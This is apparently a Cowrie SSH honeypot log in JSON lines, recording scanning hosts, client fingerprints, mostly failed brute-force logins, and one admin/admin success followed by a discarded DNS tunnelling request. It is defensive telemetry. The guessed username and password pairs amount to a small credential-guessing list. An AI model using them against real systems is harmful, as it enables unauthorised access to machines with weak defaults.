{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:52.359157Z","src_ip":"43.242.203.160","session":"8330c2774c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"justdoit","message":"login attempt [root/justdoit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:53.321812Z","src_ip":"43.242.203.160","session":"8330c2774c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:43:54.559616Z","src_ip":"43.242.203.160","session":"8330c2774c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":47044,"dst_ip":"10.17.0.5","dst_port":22,"session":"ced801511e6c","protocol":"ssh","message":"New connection: 200.39.46.41:47044 (10.17.0.5:22) [session: ced801511e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:28.420849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:28.426188Z","src_ip":"200.39.46.41","session":"ced801511e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:28.567644Z","src_ip":"200.39.46.41","session":"ced801511e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shrvn6xd","password":"KZ+1E0C~_qz+E2wt64ko","message":"login attempt [shrvn6xd/KZ+1E0C~_qz+E2wt64ko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:29.162419Z","src_ip":"200.39.46.41","session":"ced801511e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:30.308468Z","src_ip":"200.39.46.41","session":"ced801511e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":34334,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f676ad5f2a7","protocol":"ssh","message":"New connection: 69.48.205.231:34334 (10.17.0.5:22) [session: 7f676ad5f2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:32.249384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:32.254214Z","src_ip":"69.48.205.231","session":"7f676ad5f2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:32.308725Z","src_ip":"69.48.205.231","session":"7f676ad5f2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888","message":"login attempt [root/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:32.544352Z","src_ip":"69.48.205.231","session":"7f676ad5f2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:33.597425Z","src_ip":"69.48.205.231","session":"7f676ad5f2a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":58292,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d4afcf1ab72","protocol":"ssh","message":"New connection: 103.118.29.129:58292 (10.17.0.5:22) [session: 2d4afcf1ab72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:47.134387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:47.139588Z","src_ip":"103.118.29.129","session":"2d4afcf1ab72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:47.383374Z","src_ip":"103.118.29.129","session":"2d4afcf1ab72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234","message":"login attempt [root/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:48.400174Z","src_ip":"103.118.29.129","session":"2d4afcf1ab72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:44:49.646310Z","src_ip":"103.118.29.129","session":"2d4afcf1ab72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":3208,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbf8a2da42b","protocol":"ssh","message":"New connection: 136.232.11.10:3208 (10.17.0.5:22) [session: 2fbf8a2da42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:43.654157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:43.658821Z","src_ip":"136.232.11.10","session":"2fbf8a2da42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:43.900254Z","src_ip":"136.232.11.10","session":"2fbf8a2da42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"counter","message":"login attempt [root/counter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:44.868410Z","src_ip":"136.232.11.10","session":"2fbf8a2da42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:46.104600Z","src_ip":"136.232.11.10","session":"2fbf8a2da42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":45626,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fcff45454b5","protocol":"ssh","message":"New connection: 200.39.46.41:45626 (10.17.0.5:22) [session: 9fcff45454b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:57.937627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:57.943346Z","src_ip":"200.39.46.41","session":"9fcff45454b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:58.085421Z","src_ip":"200.39.46.41","session":"9fcff45454b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jflhi5za","password":"drHsosw0iIPRMnLcZUwC","message":"login attempt [jflhi5za/drHsosw0iIPRMnLcZUwC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:58.683317Z","src_ip":"200.39.46.41","session":"9fcff45454b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:45:59.828181Z","src_ip":"200.39.46.41","session":"9fcff45454b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6504,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0f1da8fa670","protocol":"ssh","message":"New connection: 87.251.64.176:6504 (10.17.0.5:22) [session: e0f1da8fa670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:46:06.840507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:46:06.845427Z","src_ip":"87.251.64.176","session":"e0f1da8fa670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:46:06.947315Z","src_ip":"87.251.64.176","session":"e0f1da8fa670","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:46:07.242451Z","src_ip":"87.251.64.176","session":"e0f1da8fa670","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:46:07.341734Z","session":"e0f1da8fa670","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:46:07.439128Z","src_ip":"87.251.64.176","session":"e0f1da8fa670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:46:07.537370Z","src_ip":"87.251.64.176","session":"e0f1da8fa670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":58720,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e1ae069a20","protocol":"ssh","message":"New connection: 200.39.46.41:58720 (10.17.0.5:22) [session: 83e1ae069a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:47:22.496513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:47:22.501089Z","src_ip":"200.39.46.41","session":"83e1ae069a20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:47:22.647247Z","src_ip":"200.39.46.41","session":"83e1ae069a20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:47:23.260525Z","src_ip":"200.39.46.41","session":"83e1ae069a20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:47:24.409113Z","src_ip":"200.39.46.41","session":"83e1ae069a20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":59048,"dst_ip":"10.17.0.5","dst_port":22,"session":"acad1db93a02","protocol":"ssh","message":"New connection: 200.39.46.41:59048 (10.17.0.5:22) [session: acad1db93a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:48:43.240091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:48:43.246650Z","src_ip":"200.39.46.41","session":"acad1db93a02","protocol":"ssh"}
